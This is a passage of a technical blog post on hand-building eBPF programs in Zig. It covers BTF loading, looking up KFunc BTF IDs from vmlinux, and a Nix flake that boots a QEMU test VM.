</span></span><span style="display:flex;"><span>    attr.prog_load.log_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intCast</span>(bpf_log.len);
</span></span><span style="display:flex;"><span>    attr.prog_load.log_level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span>;
</span></span><span style="display:flex;"><span>    attr.prog_load.prog_btf_fd <span style="color:#00d3d0">=</span> btf_fd;
</span></span><span style="display:flex;"><span>    attr.prog_load.func_info_rec_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(bpf_func_info);
</span></span><span style="display:flex;"><span>    attr.prog_load.func_info <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>func_info);
</span></span><span style="display:flex;"><span>    attr.prog_load.func_info_cnt <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intCast</span>(func_info.len);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    rc <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">bpf</span>(.prog_load, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.ProgLoadAttr));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(rc)) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@as</span>(posix.fd_t, <span style="color:#f78fe7">@intCast</span>(rc)),
</span></span><span style="display:flex;"><span>        .ACCES <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.UnsafeProgram,
</span></span><span style="display:flex;"><span>        .FAULT <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>        .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.InvalidProgram,
</span></span><span style="display:flex;"><span>        .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.AccessDenied,
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>I make no claims that the code above is fundamentally correct (several BTF types are left unimplemented, not to mention I doubt it&rsquo;s idiomatic Zig), but it gets the job done for our purposes.</p>
<p>Once we have our BTF, we load it using the <code>BPF_BTF_LOAD</code> subcommand, and we can then reference it by its fd when creating maps or programs.</p>
<p><a id="code-snippet--ebpf-btf-usage"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">progLoadWithBtf</span>(.sk_skb, <span style="color:#00d3d0">&amp;</span>.{<span style="color:#00d3d0">&amp;</span>main_insns, <span style="color:#00d3d0">&amp;</span>helper_insns}, <span style="color:#00d3d0">&amp;</span>.{<span style="color:#b6a0ff">fn</span> (<span style="color:#00d3d0">*</span>BPFContext) <span style="color:#feacd0">callconv</span>(.naked) <span style="color:#6ae4b9">u32</span>, <span style="color:#b6a0ff">fn</span> (<span style="color:#6ae4b9">u64</span>, <span style="color:#00d3d0">*</span><span style="color:#6ae4b9">void</span>) <span style="color:#6ae4b9">u64</span>});</span></span></code></pre></div>
</details>

<p>The next thing to deal with is how to call a KFunc.
There&rsquo;s a variant of the <code>CALL</code> opcode that calls a function by BTF ID for exactly this purpose, so the next logical question is: how do we find the BTF ID for our KFunc?</p>
<p>The normal way to do this is generate <code>vmlinux.h</code> with pahole/bpftools (<span class="inline-src language-bash" data-lang="bash"><code>bpftool btf dump file /sys/kernel/btf/vmlinux format c &gt; vmlinux.h</code></span>), but in the spirit of roughing it, we&rsquo;ll forego that in favor of parsing btf_vmlinux directly.</p>
<p>I say &ldquo;parse&rdquo;, but we actually only care about a specific <code>BTF_KIND_FUNC</code> with the name we&rsquo;re searching for, so my implementation ignores everything besides that.</p>
<p><a id="code-snippet--ebpf-btf-vmlinux"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> builtin <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;builtin&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">getVmlinuxBtfIdFromName</span>(name<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u32</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/sys/kernel/btf/vmlinux&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDONLY }, <span style="color:#00bcff">0o550</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x80</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> f_reader <span style="color:#00d3d0">=</span> std.fs.File.<span style="color:#feacd0">reader</span>(.{ .handle <span style="color:#00d3d0">=</span> fd }, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> reader <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>f_reader.interface;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> btf_id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> header <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Header, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> string_off <span style="color:#00d3d0">=</span> header.hdr_len <span style="color:#00d3d0">+</span> header.str_off;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (f_reader.<span style="color:#feacd0">logicalPos</span>() <span style="color:#00d3d0">&lt;</span> string_off) {
</span></span><span style="display:flex;"><span>        btf_id <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> btf_type <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Type, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (btf_type.info.kind) {
</span></span><span style="display:flex;"><span>            .func <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">const</span> pos <span style="color:#00d3d0">=</span> f_reader.<span style="color:#feacd0">logicalPos</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">try</span> f_reader.<span style="color:#feacd0">seekTo</span>(string_off <span style="color:#00d3d0">+</span> btf_type.name_off);
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeDelimiterExclusive</span>(<span style="color:#79a8ff">&#39;\x00&#39;</span>), name)) <span style="color:#b6a0ff">return</span> btf_id;
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">try</span> f_reader.<span style="color:#feacd0">seekTo</span>(pos);
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .int <span style="color:#00d3d0">=&gt;</span> _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(<span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> { _<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> }, builtin.cpu.arch.<span style="color:#feacd0">endian</span>()),
</span></span><span style="display:flex;"><span>            .array <span style="color:#00d3d0">=&gt;</span> _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Array, builtin.cpu.arch.<span style="color:#feacd0">endian</span>()),
</span></span><span style="display:flex;"><span>            .@<span style="color:#79a8ff">&#34;struct&#34;</span>, .@<span style="color:#79a8ff">&#34;union&#34;</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..btf_type.info.vlen) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Member, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .@<span style="color:#79a8ff">&#34;enum&#34;</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..btf_type.info.vlen) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Enum, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .enum64 <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..btf_type.info.vlen) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Enum64, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .func_proto <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..btf_type.info.vlen) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Param, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .@<span style="color:#79a8ff">&#34;var&#34;</span> <span style="color:#00d3d0">=&gt;</span> _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.Var, builtin.cpu.arch.<span style="color:#feacd0">endian</span>()),
</span></span><span style="display:flex;"><span>            .datasec <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..btf_type.info.vlen) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.VarSecInfo, builtin.cpu.arch.<span style="color:#feacd0">endian</span>());
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .decl_tag <span style="color:#00d3d0">=&gt;</span> _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> reader.<span style="color:#feacd0">takeStruct</span>(BPF.btf.DeclTag, builtin.cpu.arch.<span style="color:#feacd0">endian</span>()),
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.NotFound;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>BTF Verifier output:
</span></span><span style="display:flex;"><span>magic: 0xeb9f
</span></span><span style="display:flex;"><span>version: 1
</span></span><span style="display:flex;"><span>flags: 0x0
</span></span><span style="display:flex;"><span>hdr_len: 24
</span></span><span style="display:flex;"><span>type_off: 0
</span></span><span style="display:flex;"><span>type_len: 132
</span></span><span style="display:flex;"><span>str_off: 132
</span></span><span style="display:flex;"><span>str_len: 29
</span></span><span style="display:flex;"><span>btf_total_size: 185
</span></span><span style="display:flex;"><span>[1] FUNC foo type_id=2
</span></span><span style="display:flex;"><span>[2] FUNC_PROTO (anon) return=3 args=(5 foo)
</span></span><span style="display:flex;"><span>[3] INT (anon) size=32 bits_offset=0 nr_bits=32 encoding=(none)
</span></span><span style="display:flex;"><span>[4] DECL_TAG arg:ctx type=1 component_idx=0
</span></span><span style="display:flex;"><span>[5] PTR (anon) type_id=0
</span></span><span style="display:flex;"><span>[6] FUNC foo type_id=7
</span></span><span style="display:flex;"><span>[7] FUNC_PROTO (anon) return=8 args=(8 foo, 5 foo)
</span></span><span style="display:flex;"><span>[8] INT (anon) size=64 bits_offset=0 nr_bits=64 encoding=(none)
</span></span><span style="display:flex;"><span>info: Sent &#39;foo&#39;, received &#39;foo&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;bar&#39;, received &#39;bar&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;foobar&#39;, received &#39;&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;fooba&#39;, received &#39;fooba&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;snafu&#39;, received &#39;snafu&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;ffoobarbaz&#39;, received &#39;&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;bazbarfoo&#39;, received &#39;bazbarfoo&#39;</span></span></code></pre></div>

<p>Hopefully this has been educational and helpful if you have the <del>misfortune</del> pleasure of working with eBPF at the bytecode level, whether you&rsquo;re a security researcher hunting for bugs in the kernel or you just want to better understand how libbpf works.</p>
<p>Happy hacking!</p>





  
  
    

  
  
    









<details >
  
  <summary><div class="named-src">
      <span>Nix</span>
      <span>flake.nix</span>
    </div>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  description <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;Rush E(bpf)&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  inputs <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    nixpkgs<span style="color:#00d3d0">.</span>url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;github:NixOS/nixpkgs/nixpkgs-unstable&#34;</span>;
</span></span><span style="display:flex;"><span>    flake-utils<span style="color:#00d3d0">.</span>url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;github:numtide/flake-utils&#34;</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  outputs <span style="color:#00d3d0">=</span> { self<span style="color:#00d3d0">,</span> nixpkgs<span style="color:#00d3d0">,</span> flake-utils }:
</span></span><span style="display:flex;"><span>    (flake-utils<span style="color:#00d3d0">.</span>lib<span style="color:#00d3d0">.</span>eachDefaultSystem (system:
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">inherit</span> (nixpkgs) lib;
</span></span><span style="display:flex;"><span>        fetchpatch&#39; <span style="color:#00d3d0">=</span> (<span style="color:#b6a0ff">import</span> nixpkgs { <span style="color:#b6a0ff">inherit</span> system; })<span style="color:#00d3d0">.</span>fetchpatch;
</span></span><span style="display:flex;"><span>        pkgs&#39; <span style="color:#00d3d0">=</span> (<span style="color:#b6a0ff">import</span> nixpkgs { <span style="color:#b6a0ff">inherit</span> system; })<span style="color:#00d3d0">.</span>applyPatches {
</span></span><span style="display:flex;"><span>          name <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;fix-libcap-cross-compile&#34;</span>;
</span></span><span style="display:flex;"><span>          src <span style="color:#00d3d0">=</span> nixpkgs;
</span></span><span style="display:flex;"><span>          patches <span style="color:#00d3d0">=</span> [ (fetchpatch&#39; {
</span></span><span style="display:flex;"><span>            url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://patch-diff.githubusercontent.com/raw/NixOS/nixpkgs/pull/461685.patch&#34;</span>;
</span></span><span style="display:flex;"><span>            hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-FXDc234uF05woQLYRvfVyA3FboWSmXnPhYOm8PeVs6Y=&#34;</span>;
</span></span><span style="display:flex;"><span>          }) ];
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        pkgs <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">import</span> pkgs&#39; { <span style="color:#b6a0ff">inherit</span> system; };
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">in</span>
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          packages <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>            kernel <span style="color:#00d3d0">=</span> pkgs<span style="color:#00d3d0">.</span>pkgsCross<span style="color:#00d3d0">.</span>gnu64<span style="color:#00d3d0">.</span>linuxKernel<span style="color:#00d3d0">.</span>kernels<span style="color:#00d3d0">.</span>linux_6_18;
</span></span><span style="display:flex;"><span>            initramfs <span style="color:#00d3d0">=</span> pkgs<span style="color:#00d3d0">.</span>runCommand <span style="color:#79a8ff">&#34;build-initramfs&#34;</span> {}
</span></span><span style="display:flex;"><span>              <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                mkdir initramfs; cd initramfs
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                mkdir -pv {etc,proc,sys,usr/{bin,sbin}}
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                cp -a </span><span style="color:#79a8ff">${</span>pkgs<span style="color:#00d3d0">.</span>pkgsCross<span style="color:#00d3d0">.</span>gnu64<span style="color:#00d3d0">.</span>pkgsStatic<span style="color:#00d3d0">.</span>busybox<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/{bin,sbin} .
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                chmod 755 ./{bin,sbin}
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                cp -a </span><span style="color:#79a8ff">${</span>pkgs<span style="color:#00d3d0">.</span>pkgsCross<span style="color:#00d3d0">.</span>gnu64<span style="color:#00d3d0">.</span>pkgsStatic<span style="color:#00d3d0">.</span>libcap<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/bin .
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                cat &lt;&lt;EOF &gt; init
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                #!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                mount -t proc none /proc
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                mount -t sysfs none /sys
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                mount -t devtmpfs devtmpfs /dev
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                setcap &#39;cap_bpf=eip cap_net_admin=eip cap_perfmon=eip&#39; /prog
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                echo -e &#34;\nBoot took \$(cut -d&#39; &#39; -f1 /proc/uptime) seconds\n&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                setsid cttyhack setuidgid 1337 sh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                umount /proc
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                poweroff -d 0 -f
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                EOF
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                chmod +x init
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                find . -print0 | </span><span style="color:#79a8ff">${</span>lib<span style="color:#00d3d0">.</span>getExe pkgs<span style="color:#00d3d0">.</span>cpio<span style="color:#79a8ff">}</span><span style="color:#79a8ff"> --null -ov --format=newc &gt; $out
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>            run <span style="color:#00d3d0">=</span> pkgs<span style="color:#00d3d0">.</span>writeShellScript <span style="color:#79a8ff">&#34;run.sh&#34;</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              </span><span style="color:#79a8ff">${</span>pkgs<span style="color:#00d3d0">.</span>qemu<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/bin/qemu-system-x86_64 \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  </span><span style="color:#79a8ff">&#39;&#39;$</span><span style="color:#79a8ff">{DEBUG:+ -s} \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -m 512 \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -kernel </span><span style="color:#79a8ff">${</span>self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span><span style="color:#00d3d0">.</span>kernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/bzImage \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -initrd rootfs.cpio \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -append &#34;console=ttyS0 loglevel=3 oops=panic panic=-1&#34; \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -no-reboot \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -nographic \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -monitor /dev/null \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                  -serial unix:vm.sock,server,nowait
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          devShells<span style="color:#00d3d0">.</span>default <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">with</span> pkgs; mkShellNoCC {
</span></span><span style="display:flex;"><span>            packages <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>              zig_0_15
</span></span><span style="display:flex;"><span>              linux-scripts
</span></span><span style="display:flex;"><span>            ];
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8"># https://github.com/NixOS/nixpkgs/pull/479423</span>
</span></span><span style="display:flex;"><span>            shellHook <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;unset ZIG_GLOBAL_CACHE_DIR&#34;</span>;
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<div class="rc-scout-wrapper"><div class="rc-scout" data-scout-rendered="true"><p class="rc-scout__text">
<i>This blog post is based on <a href="https://feyor.sh/jp/writeups/pawnyable/">previous work</a> with eBPF and Zig done at <i class="rc-scout__logo"></i> <a class="rc-scout__link" href="https://www.recurse.com/scout/click?t=c9ef0a055fcd2cd243ac045bc1f6dd82">Recurse Center</a>. If you want to program at the edge of your abilities, consider applying.</i>
</p></div> <style class="rc-scout__style" type="text/css">.rc-scout { display: block; padding: 0; border: 0; margin: 0; } .rc-scout__text { display: block; padding: 0; border: 0; margin: 0; height: 100%; font-size: 100%; } .rc-scout__logo { display: inline-block; padding: 0; border: 0; margin: 0; width: 0.85em; height: 0.85em; background: no-repeat center url('data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2012%2015%22%3E%3Crect%20x%3D%220%22%20y%3D%220%22%20width%3D%2212%22%20height%3D%2210%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%221%22%20width%3D%2210%22%20height%3D%228%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%222%22%20width%3D%228%22%20height%3D%226%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%229%22%20width%3D%224%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%2211%22%20width%3D%2210%22%20height%3D%224%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%220%22%20y%3D%2212%22%20width%3D%2212%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%225%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%227%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%228%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%229%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3C%2Fsvg%3E'); } .rc-scout__link:link, .rc-scout__link:visited { color: #3dc06c; text-decoration: underline; } .rc-scout__link:hover, .rc-scout__link:active { color: #4e8b1d; }</style></div>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>The original title of this post was &ldquo;eBPF the Hard Way,&rdquo; which I have since realized is easily confused with Xmigrate&rsquo;s <a href="https://ebee.xmigrate.cloud/">eBPF tutorial</a> and Zhenzhong Wu&rsquo;s <a href="https://jt26wzz.com/posts/0012-learning-ebpf-the-hard-way/">blog post</a> of the same name.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
